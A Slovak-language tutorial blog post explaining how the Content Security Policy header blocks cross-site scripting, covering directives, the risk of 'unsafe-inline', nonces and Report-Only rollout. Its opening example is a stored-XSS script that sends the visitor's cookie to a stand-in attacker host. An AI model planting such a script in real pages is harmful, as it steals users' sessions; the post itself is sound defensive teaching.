Zabezpeč svoj web ako profík: Ako funguje CSP hlavička a prečo ju potrebuješ

Predstav si nasledujúci scenár. Máš skvelý web, vyladený kód a používatelia sú spokojní. V tom niekto nájde malú dieru vo formulári pre komentáre a podarí sa mu do databázy prepašovať takýto kúsok kódu:

HTML

<script>
  fetch('https://hacker-site.com/steal?cookie=' + document.cookie);
</script>

Keď si ďalší návštevník otvorí tvoju stránku, jeho prehliadač tento skript bez váhania spustí. Výsledok? Útočník práve získal prístupové údaje tvojho používateľa. Vitaj vo svete XSS (Cross-Site Scripting), jednej z najčastejších zraniteľností na webe.

Našťastie existuje mechanizmus, ktorý dokáže takýmto útokom zabrániť, aj keby tvoj kód obsahoval chybu. Volá sa CSP (Content Security Policy).

Čo je to CSP a ako funguje?

Content Security Policy (CSP) je HTTP hlavička, ktorú tvoj server posiela do prehliadača používateľa spolu s webovou stránkou. Zjednodušene povedané, je to zoznam povolených hostí.

Predstav si CSP ako nekompromisného vyhadzovača na diskotéke. Ak niekto nie je na zozname hostí, do klubu sa nedostane. Keď prehliadaču pomocou CSP povieš, že JavaScript sa smie načítavať iba z tvojej vlastnej domény, vyhadzovač okamžite zablokuje akýkoľvek pokus o spustenie skriptu z cudzej, neoverenej adresy.

Anatómia základnej CSP hlavičky

CSP hlavička sa skladá z takzvaných direktív (oblastí, ktoré kontrolujeme) a zdrojov (odkiaľ dáta povoľujeme). Pozrime sa na praktický príklad:

HTTP

Content-Security-Policy: default-src 'self'; script-src 'self' https://scripts.google.com; img-src 'self' data:;

Čo presne tento zápis znamená?

• default-src 'self': Toto je naša záchranná sieť. Hovorí, že ak explicitne nedefinujeme iné pravidlo, všetok obsah (obrázky, fonty, skripty) sa môže načítavať iba z našej vlastnej domény ('self').
• script-src 'self' [https://scripts.google.com](https://scripts.google.com): JavaScript môžeme spúšťať z nášho webu a navyše povoľujeme skripty z domény Google (napríklad kvôli analytike).
• img-src 'self' data:: Obrázky môžu ísť z nášho webu a povoľujeme aj obrázky kódované ako data:URI (často využívané pre malé ikony).

Najväčší strašiak: Inline skripty a pasca menom 'unsafe-inline'

Keď prvýkrát nasadíš prísnu CSP hlavičku, s veľkou pravdepodobnosťou ti prestane fungovať polovica webu. Prečo? Pretože v kóde máš niečo takéto:

HTML

<button onclick="doSomething()">Klikni ma</button>

Alebo:

HTML

<script>
  console.log('Tento skript je priamo v HTML');
</script>

Toto sú takzvané inline skripty. Prísna CSP ich z bezpečnostných dôvodov blokuje, pretože prehliadač nevie rozlíšiť, či si ten inline kód napísal ty, alebo ho tam podstrčil útočník.

Mnoho vývojárov sa v tomto momente frustrovane vzdá a do hlavičky pridá pravidlo 'unsafe-inline'. To je ale obrovská chyba. Týmto krokom v podstate vypneš hlavnú ochranu proti XSS a celá CSP hlavička stráca zmysel.

Ako to vyriešiť správne?

1. Presuň kód do externých súborov: Najlepšia cesta. Namiesto onclick="..." použi v samostatnom .js súbore addEventListener.
2. Použi Nonce (jednorazový token): Pri každom požiadavke vygeneruje tvoj backend náhodný reťazec (napr. nonce-XyZ123) a vloží ho do CSP hlavičky aj do skriptu:HTML<script nonce="XyZ123">...tvoj kód...</script> Prehliadač skript spustí iba vtedy, ak sa token v HTML zhoduje s tokenom v HTTP hlavičke.

Ako nasadiť CSP na ostrý web bez toho, aby si ho znefunkčnil?

Nasadiť CSP „naostro“ na starší, rozbehaný projekt môže byť nočná mora. Tvorcovia špecifikácie na to našťastie mysleli a vytvorili geniálny nástroj: Content-Security-Policy-Report-Only.

Ak zmeníš názov hlavičky na tento, prehliadač nebude nič blokovať, ale ak narazí na porušenie pravidiel, pošle ti o tom správu (JSON report) na adresu, ktorú mu určíš.

HTTP

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-violations-endpoint;

V logoch potom presne uvidíš, ktoré skripty alebo štýly by tvoja nová politika zablokovala. Môžeš ich v pokoji opraviť a až keď logy zostanú čisté, prepneš sa na ostrú hlavičku Content-Security-Policy.

Užitočné nástroje na záver

Nemusíš všetko písať z hlavy a triafať naslepo. Pomôž si týmito bezplatnými nástrojmi:

• Google CSP Evaluator: Vložíš URL alebo text svojej hlavičky a Google ti povie, či v nej nemáš logické chyby alebo slabé miesta.
• Csptest.io / Sentry: Služby, ktoré ti vygenerujú URL adresu pre tvoj report-uri, kde môžeš pohodlne zbierať a analyzovať hlásenia o porušení politiky.

CSP hlavička síce vyžaduje trochu plánovania a testovania, no bezpečnosť, ktorú tvojmu webu a používateľom prinesie, za tú námahu rozhodne stojí.

Ako si na tom ty? Používaš na svojich projektoch CSP, alebo ťa odrádza jej zložité nastavovanie? Napíš mi dole do komentárov!